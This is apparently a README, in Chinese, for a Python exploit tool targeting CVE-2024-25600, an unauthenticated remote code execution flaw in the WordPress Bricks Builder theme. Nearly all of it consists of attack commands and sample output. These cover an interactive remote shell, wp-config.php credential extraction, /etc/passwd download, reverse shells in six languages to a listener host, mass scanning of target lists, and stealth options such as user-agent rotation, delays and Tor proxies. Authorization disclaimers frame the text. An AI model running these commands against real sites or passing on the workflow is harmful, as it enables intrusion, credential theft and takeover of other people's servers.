[!IMPORTANT]
仅限授权使用。 本工具仅用于安全研究、教育以及测试您拥有或已获得明确书面许可的系统。未经授权访问计算机系统是非法的。作者对滥用行为不承担任何责任。
目录
概述
CVE-2024-25600 是 WordPress Bricks Builder 主题中的一个严重、未认证的远程代码执行漏洞。在 render_element REST 端点中对用户控制的输入处理不当,允许未认证的攻击者在受影响的目标上执行任意 PHP/系统命令。
BricksRCE Exploiter(cve-2024-25600.py)是一款功能全面的 Python 评估工具,供授权安全专业人员使用,用于:
- 检测存在漏洞的 Bricks Builder 安装
- 通过受控命令执行验证影响
- 通过交互式 shell 与被入侵主机交互
- 使用异步/线程工作器批量扫描目标列表
- 导出结构化结果用于报告
漏洞详情
受影响的端点
| 端点 | 方法 |
|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
攻击总结
- 从目标页面源码中提取 Bricks nonce
- 提交一个包含恶意元素 payload 的精心构造的
render_element 请求
- 服务器端代码评估导致任意命令执行
参考
功能
核心能力
操作控制
报告
| 能力 | 描述 |
|---|
| JSON / TXT 导出 | 保存扫描结果和受感染目标 |
| 命令历史 | 可选的已执行命令日志 |
| 文件日志 | 持久化 bricks_rce.log 及自定义日志路径 |
安装
前提条件
- Python 3.8+
pip
- 能够网络访问授权目标
安装步骤
git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
依赖
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # 可选 — SOCKS5 代理支持
快速开始
将 https://target.example 替换为实验环境或已授权的目标。
# 交互式 Shell
python3 cve-2024-25600.py -u https://target.example
# 单命令
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# 批量扫描
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# 版本检测
python3 cve-2024-25600.py -u https://target.example --detect-version
# 通过 Burp 代理
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
使用指南
所有示例均使用主脚本:cve-2024-25600.py
1. 查看帮助
python3 cve-2024-25600.py --help
2. 单目标交互式 Shell
在确认目标存在漏洞后,打开一个交互式 RCE Shell。
python3 cve-2024-25600.py -u https://target.example
工作流程:
- 规范化并验证 URL
- 从页面提取 nonce
- 验证漏洞(除非指定
--force)
- 进入交互式 Shell
3. 执行单条命令
python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
将命令输出保存到文件:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
4. 选择 Payload 类型
# 默认 PHP 异常型 payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# system() 型 payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
5. 检测 Bricks Builder 版本
python3 cve-2024-25600.py -u https://target.example --detect-version
与命令结合使用:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
6. 提取 wp-config.php
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
成功时保存为 wp-config_<target>.txt。
7. 反弹 Shell(仅限授权的实验环境)
# 终端 1 — 监听器
nc -lvnp 4444
# 终端 2 — bash 反弹 Shell
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
所有支持的反弹 Shell 类型:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
8. 强制模式(跳过漏洞检查)
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
9. 从文件批量扫描
# targets.txt — 每行一个 URL
python3 cve-2024-25600.py -f targets.txt
带线程、延迟、隐身模式和 JSON 输出:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
同步(线程池)扫描(替代异步):
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
静默批量扫描:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
10. 端点选择
# 两个端点(默认)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# 仅 /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# 仅 /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
11. 隐身模式
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
12. 自定义 User-Agent
# 自定义 UA
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# 禁用随机 UA 轮换
python3 cve-2024-25600.py -u https://target.example --no-random-ua
13. 代理支持
# HTTP 代理(例如 Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# SOCKS5 代理
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h(通过代理/Tor 进行 DNS 解析)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
14. SSL 验证
# 启用 SSL 证书验证(默认禁用)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
15. 输出与日志
# 将扫描结果保存为 JSON
python3 cve-2024-25600.py -f targets.txt -o results.json
# 将扫描结果保存为 TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt
# 自定义应用程序日志文件
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# 记录执行的命令
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
16. 详细与静默模式
# 详细/调试日志
python3 cve-2024-25600.py -u https://target.example -v
# 静默模式(最小输出)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
17. 性能调优
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
18. 组合全面评估示例
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
19. 交互式 Shell 内置命令
使用 -u 启动后(未指定 --cmd / --reverse-shell):
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
命令参考
目标选项
| 参数 | 描述 |
|---|
-u, --url | 单个目标 URL |
-f, --file | 包含目标 URL 的文件(每行一个) |
扫描选项
隐身选项
利用选项
输出选项
交互式 Shell
当没有指定 --cmd 或 --reverse-shell 时针对单个目标进行利用,会打开一个交互式 Shell:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
内置命令
功能
- 命令历史持久化到
~/.bricks_rce_history
- 常用命令自动补全
- 基于历史记录的自动建议(prompt-toolkit)
输出与日志
控制台
基于 Rich 的面板、进度条和结果表格:
[*] 测试中:https://target.example
[+] https://target.example 存在漏洞!
[+] 交互式 Shell 已成功打开
扫描结果表
JSON 导出(-o results.json)
{
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
日志文件
| 文件 | 用途 |
|---|
bricks_rce.log | 默认仅追加的应用程序日志 |
--log-file PATH | 额外的自定义日志处理程序 |
--command-log PATH | 已执行命令的审计跟踪 |
故障排除
调试工作流程
# 详细单目标检查
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# 通过 Burp 检查请求
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# 优先使用特定端点
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
仓库结构
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Python 依赖
├── README.md # 本文件
├── bricks_rce.log # 运行时日志(自动生成)
└── venv/ # 本地虚拟环境(可选,不提交)
版本历史
v1.0.0 — 初始版本
- CVE-2024-25600 未认证 RCE 检测与利用
- 多种 nonce 提取方式
- 交互式 Shell,支持上传/下载
- 单命令与反弹 Shell 模式
- 异步/线程化批量扫描
- 版本检测与 wp-config 提取
- 隐身模式、UA 轮换、代理支持
- 基于 Rich 的 CLI,支持 JSON/TXT 结果导出
免责声明
本项目按原样提供,仅用于防御性安全研究和授权渗透测试。
使用本软件即表示您同意:
- 您仅会针对您拥有或明确授权测试的系统。
- 您了解适用的计算机滥用和数据保护法律。
- 作者和贡献者不对因滥用造成的损害、数据丢失或法律后果承担责任。
如果您在您不拥有的生产环境中发现此漏洞,请遵循负责任的披露实践,并与网站所有者 / Bricks Builder 安全团队协调。
未经授权访问计算机系统是联邦犯罪行为。
作者与致谢
许可证
MIT License
Copyright (c) 2024–2026 Sudeepa Wanigarathna
特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,无限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或销售软件副本的权利,并允许向其提供软件的人这样做,前提是满足以下条件:
上述版权声明和本许可声明应包含在软件的所有副本或实质部分中。
本软件按“原样”提供,不提供任何形式的明示或默示保证,包括但不限于适销性、特定用途适用性和非侵权性的保证。在任何情况下,作者或版权持有人均不对因软件或软件的使用或其他交易而产生的任何索赔、损害或其他责任负责,无论该等责任是基于合同、侵权或其他原因。
支持
- 如果本工具对您的授权研究有帮助,请为仓库点星
- 如有 Bug、误报或检测改进,请提交 Issue
- 欢迎为文档和授权实验环境的用户体验提交 Pull Request